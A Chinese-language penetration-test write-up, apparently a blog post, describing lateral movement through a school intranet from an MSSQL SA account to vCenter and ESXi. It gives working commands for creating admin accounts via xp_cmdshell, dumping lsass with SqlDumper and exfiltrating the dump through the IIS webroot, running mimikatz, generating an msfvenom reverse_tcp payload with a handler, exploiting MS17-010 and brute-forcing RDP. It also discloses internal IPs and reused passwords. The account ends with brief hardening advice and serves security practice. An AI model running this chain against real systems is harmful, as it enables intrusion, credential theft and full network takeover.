在内网中扫描到了几台sa权限的mssql，报备后做了次简单的检测

前期侦查

Navicat连上后查看xp_cdshell是否存在

发现存在的

执行exec master..xp_cmdshell "systeminfo"发现网卡连接了一个192.168/16的内网IP

```
主机名: WIN-XXXXX
OS 名称: Microsoft Windows Server 2008 R2 Enterprise
OS 版本: 6.1.7601 Service Pack 1 Build 7601
OS 制造商: Microsoft Corporation
OS 配置: 独立服务器
OS 构件类型: Multiprocessor Free
注册的所有人: Windows 用户
注册的组织:

产品 ID: 00486-001-0001076-84214
初始安装日期: 2016/7/29, 17:27:35
系统启动时间: 2019/8/30, 8:37:41
系统制造商: Inspur
系统型号: NF5270M4
系统类型: x64-based PC
处理器: 安装了 2 个处理器。
[01]: Intel64 Family 6 Model 63 Stepping 2 GenuineIntel ~1197 Mhz
[02]: Intel64 Family 6 Model 63 Stepping 2 GenuineIntel ~1197 Mhz
BIOS 版本: American Megatrends Inc. 4.1.10, 2016/6/1
Windows 目录: C:\Windows
系统目录: C:\Windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
输入法区域设置: zh-cn;中文(中国)
时区: (UTC+08:00)北京，重庆，香港特别行政区，乌鲁木齐
物理内存总量: 32,648 MB
可用的物理内存: 28,163 MB
虚拟内存: 最大值: 65,294 MB
虚拟内存: 可用: 60,327 MB
虚拟内存: 使用中: 4,967 MB
页面文件位置: C:\pagefile.sys
域: WORKGROUP
登录服务器: 暂缺
修补程序: 安装了 2 个修补程序。
[01]: KB4012212
[02]: KB976902
网卡: 安装了 2 个 NIC。
[01]: Intel(R) I350 Gigabit Network Connection
连接名: 本地连接
启用 DHCP: 否
IP 地址
[01]: 192.168.122.16
[02]: fe80::e436:8d88:315b:25aa
[02]: Intel(R) I350 Gigabit Network Connection
连接名: 本地连接 2
状态: 媒体连接已中断

```

exec master..xp_cmdshell "ipconfig"

```
Windows IP 配置

以太网适配器 本地连接 2:

媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :

以太网适配器 本地连接:

连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::e436:8d88:315b:25aa%11
IPv4 地址 . . . . . . . . . . . . : 192.168.122.16
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.122.254

隧道适配器 isatap.{9520CC43-69D2-42A5-99EB-2A1A49B84B34}:

媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :

隧道适配器 Teredo Tunneling Pseudo-Interface:

媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :

```

提权路

exec master..xp_cmdshell "whoami"

既然是system，直接net user asp.net 123456/add && net localgroup administrators asp.net /add一波带走

远程连上看看

WTF??? 还有个安全防护软件

那么接下来肯定登不上。。

换个思路

接下来开始翻资料，梳理下现在的情况

1. MSSQL数据库SA权限
2. 有360
3. 数据库以system权限启动的

翻资料的时候看到了这个

https://zhuanlan.zhihu.com/p/57800688

SqlDumper.exe是从SQL Server安装目录下提取出来的，功能和Procdump相似，并且也是微软出品的，体积远小于Procdump，也具备一定的免杀功能。SqlDumper.exe默认存放在C:\Program Files\Microsoft SQL Server\number\Shared，number代表SQL Server的版本，参考如下：

140 for SQL Server 2017

130 for SQL Server 2016

120 for SQL Server 2014

110 for SQL Server 2012

100 for SQL Server 2008

90 for SQL Server 2005

如果目标机器没有安装SQL Server，可以自己上传一个SqlDumper.exe。

那么查下数据库版本信息

Select @@version

那么命令应该是C:\Program Files\Microsoft SQL Server\100\Shared\Sqldumper.exe ProcessID 0 0x01100

继续查下lsass的pid

命令补全后"C:\Program Files\Microsoft SQL Server\100\Shared\Sqldumper.exe" 608 0 0x01100 0 C:\Users\Administrator\AppData\Local\Temp

其中，Sqldumper原型为SqlDumper <process id (PID)> <thread id (TID)> <Flags:Minidump Flags> <SQLInfoPtr> <Dump Directory>

然后执行

mssql
DECLARE @line sysname
SET @line = '"C:\Program Files\Microsoft SQL Server\100\Shared\Sqldumper.exe" 608 0 0x01100 0 C:\Users\Administrator\AppData\Local\Temp'
EXEC master..xp_cmdshell @line

然后就该读文件了，扫描端口时发现了iis7默认页面

由于已经dump了lsass的内存，那么思路转变为利用IIS7服务下载SQLDmpr0001.mdmp，本地mimikatz解密

mssql
DECLARE @old sysname,@new sysname,@cmd sysname
SET @old = '"C:\Users\Administrator\AppData\Local\Temp\SQLDmpr0001.mdmp"'
SET @new = '"C:\inetpub\wwwroot\SQLDmpr0001.mdmp"'
SET @cmd = 'copy '+@old+' '+@new
EXEC master..xp_cmdshell @cmd

访问看看

诶？咋404了

换个文件名试试

mssql
DECLARE @old sysname,@new sysname,@cmd sysname
SET @old = '"C:\Users\Administrator\AppData\Local\Temp\SQLDmpr0001.mdmp"'
SET @new = '"C:\inetpub\wwwroot\test.txt"'
SET @cmd = 'copy '+@old+' '+@new
EXEC master..xp_cmdshell @cmd

再访问，下载成功

然后扔咪咪卡住（mimikatz）一条命令梭哈mimikatz.exe"sekurlsa::minidumpSQLDmpr0001.mdmp""sekurlsa::logonPasswords full""exit"

然而事情没那么简单。。

管理员自从上次登录（7月）后就再也没登录过……

一筹莫展时发现有个guest用户，尝试下另一个思路

EXEC master..xp_cmdshell 'net user guest /active:yes'

加密码和管理组

EXEC master..xp_cmdshell 'net user guest 123456 && net localgroup administrators guest /add'

然而还是一样

暴躁老哥在线重启

由于是学校的服务器，而且教学楼时不时断电，于是乎~

重启后尝试连接

久违的Win2008 GET！

在拿下了一台内网主机后，将其作为跳板，对192.168/16网段进行了扫描

内网拓扑

先上一张内网环境拓扑图

经过扫描后，识别出几个重要资产，并将他们作为目标进行针对性的测试

192.168.122.8
192.168.122.11
192.168.122.12
192.168.122.13
192.168.122.15
192.168.122.16
192.168.122.54
192.168.122.60

通过banner和80端口title

识别到的资产如下

192.168.101.3->锐捷交换机

192.168.135.1->锐捷AC控制器，下联5个AP

192.168.122.8->VMware vCenter主机

192.168.122.6-> ESXi主机

内网大杀器MS17-010的扫描结果

攻击路径：10.46.1.16=192.168.122.16->192.168.122.11->192.168.122.15->192.168.122.54->192.168.122.60->192.168.122.8->192.168.122.6

攻击路径

192.168.122.16->192.168.122.11

使用自行创建的管理员权限的asp.net账户登录后，运行mimikatz抓到了administrator用户的密码

然后使用administrator用户登录192.168.122.16，发现在mstsc中有192.168.122.11的历史连接记录并且保存了帐号密码，连接上后发现是administrator用户，再次抓取192.168.122.11密码，发现密码与.16的一样，并且在桌面发现了数据库连接密码，保存备用

192.168.122.11->192.168.122.15

由于内网中已有2台主机密码一样，将密码做成字典后对192.168.122.0/24进行了RDP爆破，发现192.168.122.15的密码也为Dell123456，逐拿下第三台

192.168.122.15->192.168.122.54->192.168.122.60

由于192.168.122.60这台主机存在ms17-010漏洞，MSF的代理隧道不稳定，决定利用BPF中的Eternalblue模块进行攻击，对相关文件进行代理设置后

由kali机生成meterpreter木马并设置监听

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.16.11.85 LPORT=4444 -f dll >~/backdoor_x64.dll

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > set lhost 10.16.11.85
lhost => 10.16.11.85
msf5 exploit(multi/handler) > run

设置好BPF后，对192.168.122.54进行了攻击并获得了一个system权限的shell

随后使用mimikatz读密码

得到密码为Admin@123，同样的方法对192.168.122.60进行了攻击，密码一样为Admin@123，同时check出这两台机器为虚拟机

由于内网中存在2台虚拟机管理系统，逐将密码保存备用

192.168.122.60->192.168.122.8->192.168.122.6

通过之前的密码分析，推断出管理员有喜爱使用同一密码的爱好，于是大胆猜测vCenter主机的密码也为Admin@123，登录后确实如此

由于本人之前部署过vCenter和ESXi，其默认用户名为[email protected]和root，尝试使用Admin@123登录后，两台主机（或者说一台）沦陷

修复思路

1. 内网中业务尽量避免使用弱口令
2. 多台机器尽量不要用同一个口令
3. 高危漏洞及时打补丁